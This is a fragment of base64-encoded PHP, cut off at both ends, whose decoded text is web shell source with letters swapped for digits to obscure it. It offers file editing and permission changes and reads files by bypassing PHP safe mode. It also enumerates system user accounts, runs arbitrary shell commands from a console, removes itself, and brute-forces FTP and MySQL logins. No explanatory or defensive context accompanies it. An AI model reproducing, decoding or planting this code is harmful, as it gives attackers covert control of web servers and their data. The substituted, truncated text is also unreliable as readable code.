ic7IA0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsgDQogICAgICAgICAgICA0ZigkZnApIHsgDQogICAgICAgICAgICAgICAgd2g0bDUoICFAZjUyZigkZnApICkgDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7IA0KICAgICAgICAgICAgICAgIEBmY2wyczUoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgNWNoMiAnPC9wcjU+JzsgDQogICAgICAgICAgICBicjUxazsgDQogICAgICAgIGMxczUgJ2g0Z2hsNGdodCc6IA0KICAgICAgICAgICAgNGYoIEA0c19yNTFkMWJsNSgkX1BPU1RbJ3A2J10pICkgeyANCiAgICAgICAgICAgICAgICA1Y2gyICc8ZDR2IGNsMXNzPW1sNiBzdHlsNT0iYjFja2dyMjNuZC1jMmwycjogIzU2NTY1NjtjMmwycjpibDFjazsiPic7IA0KICAgICAgICAgICAgICAgICRjMmQ1ID0gQGg0Z2hsNGdodF9mNGw1KCRfUE9TVFsncDYnXSx0cjM1KTsgDQogICAgICAgICAgICAgICAgNWNoMiBzdHJfcjVwbDFjNSgxcnIxeSgnPHNwMW4gJywnPC9zcDFuPicpLCAxcnIxeSgnPGYybnQgJywnPC9mMm50PicpLCRjMmQ1KS4nPC9kNHY+JzsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICBjMXM1ICdjaG0yZCc6IA0KICAgICAgICAgICAgNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgeyANCiAgICAgICAgICAgICAgICAkcDVybXMgPSAwOyANCiAgICAgICAgICAgICAgICBmMnIoJDQ9c3RybDVuKCRfUE9TVFsncG8nXSktNjskND49MDstLSQ0KSANCiAgICAgICAgICAgICAgICAgICAgJHA1cm1zICs9ICg0bnQpJF9QT1NUWydwbyddWyQ0XSpwMncoOCwgKHN0cmw1bigkX1BPU1RbJ3BvJ10pLSQ0LTYpKTsgDQogICAgICAgICAgICAgICAgNGYoIUBjaG0yZCgkX1BPU1RbJ3A2J10sICRwNXJtcykpIA0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdDMW5cJ3QgczV0IHA1cm00c3M0Mm5zITxicj48c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGNsNTFyc3QxdGMxY2g1KCk7IA0KICAgICAgICAgICAgNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLmNobTJkLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y2htMmQgdjFsMzU9IicuczNic3RyKHNwcjRudGYoJyUyJywgZjRsNXA1cm1zKCRfUE9TVFsncDYnXSkpLC11KS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsgDQogICAgICAgICAgICBicjUxazsgDQogICAgICAgIGMxczUgJzVkNHQnOiANCiAgICAgICAgICAgIDRmKCAhNHNfd3I0dDFibDUoJF9QT1NUWydwNiddKSkgeyANCiAgICAgICAgICAgICAgICA1Y2gyICdGNGw1IDRzblwndCB3cjR0NTFibDUnOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgeyANCiAgICAgICAgICAgICAgICAkdDRtNSA9IEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKTsgDQogICAgICAgICAgICAgICAgJF9QT1NUWydwbyddID0gczNic3RyKCRfUE9TVFsncG8nXSw2KTsgDQogICAgICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwidyIpOyANCiAgICAgICAgICAgICAgICA0ZigkZnApIHsgDQogICAgICAgICAgICAgICAgICAgIEBmd3I0dDUoJGZwLCRfUE9TVFsncG8nXSk7IA0KICAgICAgICAgICAgICAgICAgICBAZmNsMnM1KCRmcCk7IA0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdTMXY1ZCE8YnI+PHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+JzsgDQogICAgICAgICAgICAgICAgICAgIEB0MjNjaCgkX1BPU1RbJ3A2J10sJHQ0bTUsJHQ0bTUpOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIDVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsXCc2XCcrdGg0cy50NXh0LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48dDV4dDFyNTEgbjFtNT10NXh0IGNsMXNzPWI0ZzFyNTE+JzsgDQogICAgICAgICAgICAkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOyANCiAgICAgICAgICAgIDRmKCRmcCkgeyANCiAgICAgICAgICAgICAgICB3aDRsNSggIUBmNTJmKCRmcCkgKSANCiAgICAgICAgICAgICAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsgDQogICAgICAgICAgICAgICAgQGZjbDJzNSgkZnApOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICA1Y2gyICc8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOyANCiAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgYzFzNSAnaDV4ZDNtcCc6IA0KICAgICAgICAgICAgJGMgPSBAZjRsNV9nNXRfYzJudDVudHMoJF9QT1NUWydwNiddKTsgDQogICAgICAgICAgICAkbiA9IDA7IA0KICAgICAgICAgICAgJGggPSAxcnIxeSgnMDAwMDAwMDA8YnI+JywnJywnJyk7IA0KICAgICAgICAgICAgJGw1biA9IHN0cmw1bigkYyk7IA0KICAgICAgICAgICAgZjJyICgkND0wOyAkNDwkbDVuOyArKyQ0KSB7IA0KICAgICAgICAgICAgICAgICRoWzZdIC49IHNwcjRudGYoJyUwYVgnLDJyZCgkY1skNF0pKS4nICc7IA0KICAgICAgICAgICAgICAgIHN3NHRjaCAoIDJyZCgkY1skNF0pICkgeyANCiAgICAgICAgICAgICAgICAgICAgYzFzNSAwOiAgJGhbYV0gLj0gJyAnOyBicjUxazsgDQogICAgICAgICAgICAgICAgICAgIGMxczUgOTogICRoW2FdIC49ICcgJzsgYnI1MWs7IA0KICAgICAgICAgICAgICAgICAgICBjMXM1IDYwOiAkaFthXSAuPSAnICc7IGJyNTFrOyANCiAgICAgICAgICAgICAgICAgICAgYzFzNSA2bzogJGhbYV0gLj0gJyAnOyBicjUxazsgDQogICAgICAgICAgICAgICAgICAgIGQ1ZjEzbHQ6ICRoW2FdIC49ICRjWyQ0XTsgYnI1MWs7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJG4rKzsgDQogICAgICAgICAgICAgICAgNGYgKCRuID09IG9hKSB7IA0KICAgICAgICAgICAgICAgICAgICAkbiA9IDA7IA0KICAgICAgICAgICAgICAgICAgICA0ZiAoJDQrNiA8ICRsNW4pIHskaFswXSAuPSBzcHI0bnRmKCclMDhYJywkNCs2KS4nPGJyPic7fSANCiAgICAgICAgICAgICAgICAgICAgJGhbNl0gLj0gJzxicj4nOyANCiAgICAgICAgICAgICAgICAgICAgJGhbYV0gLj0gIlxuIjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICA1Y2gyICc8dDFibDUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1pIGJnYzJsMnI9I2FhYWFhYT48dHI+PHRkIGJnYzJsMnI9I29vb29vbz48c3AxbiBzdHlsNT0iZjJudC13NTRnaHQ6IG4ycm0xbDsiPjxwcjU+Jy4kaFswXS4nPC9wcjU+PC9zcDFuPjwvdGQ+PHRkIGJnYzJsMnI9I2E4YThhOD48cHI1PicuJGhbNl0uJzwvcHI1PjwvdGQ+PHRkIGJnYzJsMnI9I29vb29vbz48cHI1PicuaHRtbHNwNWM0MWxjaDFycygkaFthXSkuJzwvcHI1PjwvdGQ+PC90cj48L3QxYmw1Pic7IA0KICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICBjMXM1ICdyNW4xbTUnOiANCiAgICAgICAgICAgIDRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsgDQogICAgICAgICAgICAgICAgNGYoIUByNW4xbTUoJF9QT1NUWydwNiddLCAkX1BPU1RbJ3BvJ10pKSANCiAgICAgICAgICAgICAgICAgICAgNWNoMiAnQzFuXCd0IHI1bjFtNSE8YnI+JzsgDQogICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICBkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsIicuM3JsNW5jMmQ1KCRfUE9TVFsncG8nXSkuJyIsbjNsbCwiIik8L3NjcjRwdD4nKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLm4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1uMW01IHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsgDQogICAgICAgICAgICBicjUxazsgDQogICAgICAgIGMxczUgJ3QyM2NoJzogDQogICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7IA0KICAgICAgICAgICAgICAgICR0NG01ID0gc3RydDJ0NG01KCRfUE9TVFsncG8nXSk7IA0KICAgICAgICAgICAgICAgIDRmKCR0NG01KSB7IA0KICAgICAgICAgICAgICAgICAgICA0ZighdDIzY2goJF9QT1NUWydwNiddLCR0NG01LCR0NG01KSkgDQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICdGMTRsISc7IA0KICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICdUMjNjaDVkISc7IA0KICAgICAgICAgICAgICAgIH0gNWxzNSA1Y2gyICdCMWQgdDRtNSBmMnJtMXQhJzsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgY2w1MXJzdDF0YzFjaDUoKTsgDQogICAgICAgICAgICA1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudDIzY2gudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT10MjNjaCB2MWwzNT0iJy5kMXQ1KCJZLW0tZCBIOjQ6cyIsIEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7IA0KICAgICAgICAgICAgYnI1MWs7IA0KICAgIH0gDQogICAgNWNoMiAnPC9kNHY+JzsgDQogICAgd3MyRjIydDVyKCk7IA0KfSANCiAgDQpmM25jdDQybiAxY3Q0Mm5TMWY1TTJkNSgpIHsgDQogICAgJHQ1bXA9Jyc7IA0KICAgIDJiX3N0MXJ0KCk7IA0KICAgIHN3NHRjaCgkX1BPU1RbJ3A2J10pIHsgDQogICAgICAgIGMxczUgNjogDQogICAgICAgICAgICAkdDVtcD1AdDVtcG4xbSgkdDVzdCwgJ2N4Jyk7IA0KICAgICAgICAgICAgNGYoQGMycHkoImMybXByNXNzLnpsNGI6Ly8iLiRfUE9TVFsncGEnXSwgJHQ1bXApKXsgDQogICAgICAgICAgICAgICAgNWNoMiBAZjRsNV9nNXRfYzJudDVudHMoJHQ1bXApOyANCiAgICAgICAgICAgICAgICAzbmw0bmsoJHQ1bXApOyANCiAgICAgICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgICAgIDVjaDIgJ1MycnJ5Li4uIEMxblwndCAycDVuIGY0bDUnOyANCiAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgYzFzNSBhOiANCiAgICAgICAgICAgICRmNGw1cyA9IGdsMmIoJF9QT1NUWydwYSddLicqJyk7IA0KICAgICAgICAgICAgNGYoIDRzXzFycjF5KCRmNGw1cykgKSANCiAgICAgICAgICAgICAgICBmMnI1MWNoICgkZjRsNXMgMXMgJGY0bDVuMW01KSANCiAgICAgICAgICAgICAgICAgICAgNWNoMiAkZjRsNW4xbTUuIlxuIjsgDQogICAgICAgICAgICBicjUxazsgDQogICAgICAgIGMxczUgbzogDQogICAgICAgICAgICAkY2ggPSBjM3JsXzRuNHQoImY0bDU6Ly8iLiRfUE9TVFsncGEnXS4iXHgwMCIucHI1Z19yNXBsMWM1KCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSk7IA0KICAgICAgICAgICAgYzNybF81eDVjKCRjaCk7IA0KICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICBjMXM1IHU6IA0KICAgICAgICAgICAgNG40X3I1c3QycjUoInMxZjVfbTJkNSIpOyANCiAgICAgICAgICAgIDRuNF9yNXN0MnI1KCIycDVuX2IxczVkNHIiKTsgDQogICAgICAgICAgICA0bmNsM2Q1KCRfUE9TVFsncGEnXSk7IA0KICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICBjMXM1IGk6IA0KICAgICAgICAgICAgZjJyKDskX1BPU1RbJ3BhJ10gPD0gJF9QT1NUWydwbyddOyRfUE9TVFsncGEnXSsrKSB7IA0KICAgICAgICAgICAgICAgICQzNGQgPSBAcDJzNHhfZzV0cHczNGQoJF9QT1NUWydwYSddKTsgDQogICAgICAgICAgICAgICAgNGYgKCQzNGQpIA0KICAgICAgICAgICAgICAgICAgICA1Y2gyIGoyNG4oJzonLCQzNGQpLiJcbiI7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGJyNTFrOyANCiAgICB9IA0KICAgICR0NW1wID0gMmJfZzV0X2NsNTFuKCk7IA0KICAgIHdzMkg1MWQ1cigpOyANCiAgICA1Y2gyICc8aDY+UzFmNSBtMmQ1IGJ5cDFzczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7IA0KICAgIDVjaDIgJzxzcDFuPkMycHkgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiNiIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPkdsMmIgKGw0c3QgZDRyKTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJhIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+QzNybCAocjUxZCBmNGw1KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJvIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+SW40X3I1c3QycjUgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwidSIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPlAyczR4X2c1dHB3MzRkICgiUjUxZCIgLzV0Yy9wMXNzd2QpPC9zcDFuPjx0MWJsNT48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJpIix0aDRzLnAxcjFtNi52MWwzNSx0aDRzLnAxcjFtYS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjx0cj48dGQ+RnIybTwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbTYgdjFsMzU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UMjwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbWEgdjFsMzU9NjAwMD48L3RkPjwvdHI+PC90MWJsNT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsgDQogICAgNGYoJHQ1bXApIA0KICAgICAgICA1Y2gyICc8cHI1IGNsMXNzPSJtbDYiIHN0eWw1PSJtMXJnNG4tdDJwOmlweCIgNGQ9Ik8zdHAzdCI+Jy5odG1sc3A1YzQxbGNoMXJzKCR0NW1wKS4nPC9wcjU+JzsgDQogICAgNWNoMiAnPC9kNHY+JzsgDQogICAgd3MyRjIydDVyKCk7IA0KfSANCiAgDQpmM25jdDQybiAxY3Q0Mm5DMm5zMmw1KCkgeyANCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgeyANCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10gPSB0cjM1OyANCiAgICAgICAgJF9QT1NUWydwNiddIC49ICcgYT4mNic7IA0KICAgIH0gNWxzNTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSANCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10gPSBmMWxzNTsgDQogIA0KICAgIDRmKDRzczV0KCRfUE9TVFsnMWoxeCddKSkgeyANCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSB0cjM1OyANCiAgICAgICAgMmJfc3QxcnQoKTsgDQogICAgICAgIDVjaDIgImQuY2YuY21kLnYxbDM1PScnO1xuIjsgDQogICAgICAgICR0NW1wID0gQDRjMm52KCRfUE9TVFsnY2gxcnM1dCddLCAnVVRGLTgnLCAxZGRjc2wxc2g1cygiXG4kICIuJF9QT1NUWydwNiddLiJcbiIud3MyRXgoJF9QT1NUWydwNiddKSwiXG5cclx0XFwnXDAiKSk7IA0KICAgICAgICA0ZihwcjVnX20xdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwNiddLCRtMXRjaCkpIHsgDQogICAgICAgICAgICA0ZihAY2hkNHIoJG0xdGNoWzZdKSkgeyANCiAgICAgICAgICAgICAgICAkR0xPQkFMU1snY3dkJ10gPSBAZzV0Y3dkKCk7IA0KICAgICAgICAgICAgICAgIDVjaDIgImNfPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgICAgIDVjaDIgImQuY2YuMjN0cDN0LnYxbDM1Kz0nIi4kdDVtcC4iJzsiOyANCiAgICAgICAgNWNoMiAiZC5jZi4yM3RwM3Quc2NyMmxsVDJwID0gZC5jZi4yM3RwM3Quc2NyMmxsSDU0Z2h0OyI7IA0KICAgICAgICAkdDVtcCA9IDJiX2c1dF9jbDUxbigpOyANCiAgICAgICAgNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsgDQogICAgICAgIDV4NHQ7IA0KICAgIH0gDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDVjaDIgIjxzY3I0cHQ+IA0KNGYodzRuZDJ3LkV2NW50KSB3NG5kMncuYzFwdDNyNUV2NW50cyhFdjVudC5LRVlET1dOKTsgDQp2MXIgY21kcyA9IG41dyBBcnIxeSgnJyk7IA0KdjFyIGMzciA9IDA7IA0KZjNuY3Q0Mm4ga3AoNSkgeyANCiAgICB2MXIgbiA9ICh3NG5kMncuRXY1bnQpID8gNS53aDRjaCA6IDUuazV5QzJkNTsgDQogICAgNGYobiA9PSBvOCkgeyANCiAgICAgICAgYzNyLS07IA0KICAgICAgICA0ZihjM3I+PTApIA0KICAgICAgICAgICAgZDJjM201bnQuY2YuY21kLnYxbDM1ID0gY21kc1tjM3JdOyANCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgYzNyKys7IA0KICAgIH0gNWxzNSA0ZihuID09IHUwKSB7IA0KICAgICAgICBjM3IrKzsgDQogICAgICAgIDRmKGMzciA8IGNtZHMubDVuZ3RoKSANCiAgICAgICAgICAgIGQyYzNtNW50LmNmLmNtZC52MWwzNSA9IGNtZHNbYzNyXTsgDQogICAgICAgIDVsczUNCiAgICAgICAgICAgIGMzci0tOyANCiAgICB9IA0KfSANCmYzbmN0NDJuIDFkZChjbWQpIHsgDQogICAgY21kcy5wMnAoKTsgDQogICAgY21kcy5wM3NoKGNtZCk7IA0KICAgIGNtZHMucDNzaCgnJyk7IA0KICAgIGMzciA9IGNtZHMubDVuZ3RoLTY7IA0KfSANCiAgDQo8L3NjcjRwdD4iOyANCiAgICA1Y2gyICc8aDY+QzJuczJsNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxmMnJtIG4xbTU9Y2YgMm5zM2JtNHQ9IjRmKGQuY2YuY21kLnYxbDM1PT1cJ2NsNTFyXCcpe2QuY2YuMjN0cDN0LnYxbDM1PVwnXCc7ZC5jZi5jbWQudjFsMzU9XCdcJztyNXQzcm4gZjFsczU7fTFkZCh0aDRzLmNtZC52MWwzNSk7NGYodGg0cy4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLHRoNHMuY21kLnYxbDM1LHRoNHMuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO301bHM1e2cobjNsbCxuM2xsLHRoNHMuY21kLnYxbDM1LHRoNHMuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO30gcjV0M3JuIGYxbHM1OyI+PHM1bDVjdCBuMW01PTFsNDFzPic7IA0KICAgIGYycjUxY2goJEdMT0JBTFNbJzFsNDFzNXMnXSAxcyAkbiA9PiAkdikgeyANCiAgICAgICAgNGYoJHYgPT0gJycpIHsgDQogICAgICAgICAgICA1Y2gyICc8MnB0Z3IyM3AgbDFiNWw9Ii0nLmh0bWxzcDVjNDFsY2gxcnMoJG4pLictIj48LzJwdGdyMjNwPic7IA0KICAgICAgICAgICAgYzJudDRuMzU7IA0KICAgICAgICB9IA0KICAgICAgICA1Y2gyICc8MnB0NDJuIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJHYpLiciPicuJG4uJzwvMnB0NDJuPic7IA0KICAgIH0gDQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkgDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7IA0KICAgIDVjaDIgJzwvczVsNWN0Pjw0bnAzdCB0eXA1PWIzdHQybiAybmNsNGNrPSIxZGQoZC5jZi4xbDQxcy52MWwzNSk7NGYoZC5jZi4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLGQuY2YuMWw0MXMudjFsMzUsZC5jZi5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fTVsczV7ZyhuM2xsLG4zbGwsZC5jZi4xbDQxcy52MWwzNSxkLmNmLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9IiB2MWwzNT0iPj4iPiA8bjJicj48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAnLihAJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4nPiBzNW5kIDNzNG5nIEFKQVggPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1zaDJ3XzVycjJycyB2MWwzNT02ICcuKCE1bXB0eSgkX1BPU1RbJ3BhJ10pfHwkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnXT8nY2g1Y2s1ZCc6JycpLic+IHI1ZDRyNWN0IHN0ZDVyciB0MiBzdGQyM3QgKGE+JjYpPC9uMmJyPjxici8+PHQ1eHQxcjUxIGNsMXNzPWI0ZzFyNTEgbjFtNT0yM3RwM3Qgc3R5bDU9ImIycmQ1ci1iMnR0Mm06MDttMXJnNG46MDsiIHI1MWQybmx5Pic7IA0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7IA0KICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoIiQgIi4kX1BPU1RbJ3A2J10uIlxuIi53czJFeCgkX1BPU1RbJ3A2J10pKTsgDQogICAgfSANCiAgICA1Y2gyICc8L3Q1eHQxcjUxPjx0MWJsNSBzdHlsNT0iYjJyZDVyOjZweCBzMmw0ZCAjZGZpO2IxY2tncjIzbmQtYzJsMnI6I2lpaTtiMnJkNXItdDJwOjBweDsiIGM1bGxwMWRkNG5nPTAgYzVsbHNwMWM0bmc9MCB3NGR0aD0iNjAwJSI+PHRyPjx0ZCB3NGR0aD0iNiUiPiQ8L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y21kIHN0eWw1PSJiMnJkNXI6MHB4O3c0ZHRoOjYwMCU7IiAybms1eWQyd249ImtwKDV2NW50KTsiPjwvdGQ+PC90cj48L3QxYmw1Pic7IA0KICAgIDVjaDIgJzwvZjJybT48L2Q0dj48c2NyNHB0PmQuY2YuY21kLmYyYzNzKCk7PC9zY3I0cHQ+JzsgDQogICAgd3MyRjIydDVyKCk7IA0KfSANCiAgDQpmM25jdDQybiAxY3Q0Mm5MMmcyM3QoKSB7IA0KICAgIHM1c3M0Mm5fZDVzdHIyeSgpOyANCiAgICBkNDUoJ2J5NSEnKTsgDQp9IA0KICANCmYzbmN0NDJuIDFjdDQyblM1bGZSNW0ydjUoKSB7IA0KICANCiAgICA0ZigkX1BPU1RbJ3A2J10gPT0gJ3k1cycpIA0KICAgICAgICA0ZihAM25sNG5rKHByNWdfcjVwbDFjNSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpKSANCiAgICAgICAgICAgIGQ0NSgnU2g1bGwgaDFzIGI1NW4gcjVtMnY1ZCcpOyANCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgNWNoMiAnM25sNG5rIDVycjJyISc7IA0KICAgIDRmKCRfUE9TVFsncDYnXSAhPSAneTVzJykgDQogICAgICAgIHdzMkg1MWQ1cigpOyANCiAgICA1Y2gyICc8aDY+UzM0YzRkNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PlI1MWxseSB3MW50IHQyIHI1bTJ2NSB0aDUgc2g1bGw/PGJyPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJ3k1c1wnKSI+WTVzPC8xPjwvZDR2Pic7IA0KICAgIHdzMkYyMnQ1cigpOyANCn0gDQogIA0KZjNuY3Q0Mm4gMWN0NDJuQnIzdDVmMnJjNSgpIHsgDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDRmKCA0c3M1dCgkX1BPU1RbJ3ByMnQyJ10pICkgeyANCiAgICAgICAgNWNoMiAnPGg2PlI1czNsdHM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c3Axbj5UeXA1Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncHIydDInXSkuJyA8c3Axbj5TNXJ2NXI6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzNXJ2NXInXSkuJzxicj4nOyANCiAgICAgICAgNGYoICRfUE9TVFsncHIydDInXSA9PSAnZnRwJyApIHsgDQogICAgICAgICAgICBmM25jdDQybiBicjN0NUYycmM1KCQ0cCwkcDJydCwkbDJnNG4sJHAxc3MpIHsgDQogICAgICAgICAgICAgICAgJGZwID0gQGZ0cF9jMm5uNWN0KCQ0cCwgJHAycnQ/JHAycnQ6YTYpOyANCiAgICAgICAgICAgICAgICA0ZighJGZwKSByNXQzcm4gZjFsczU7IA0KICAgICAgICAgICAgICAgICRyNXMgPSBAZnRwX2wyZzRuKCRmcCwgJGwyZzRuLCAkcDFzcyk7IA0KICAgICAgICAgICAgICAgIEBmdHBfY2wyczUoJGZwKTsgDQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXM7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSA1bHM1NGYoICRfUE9TVFsncHIydDInXSA9PSAnbXlzcWwnICkgeyANCiAgICAgICAgICAgIGYzbmN0NDJuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgeyANCiAgICAgICAgICAgICAgICAkcjVzID0gQG15c3FsX2Mybm41Y3QoJDRwLic6Jy4kcDJydD8kcDJydDpvbzBlLCAkbDJnNG4sICRwMXNzK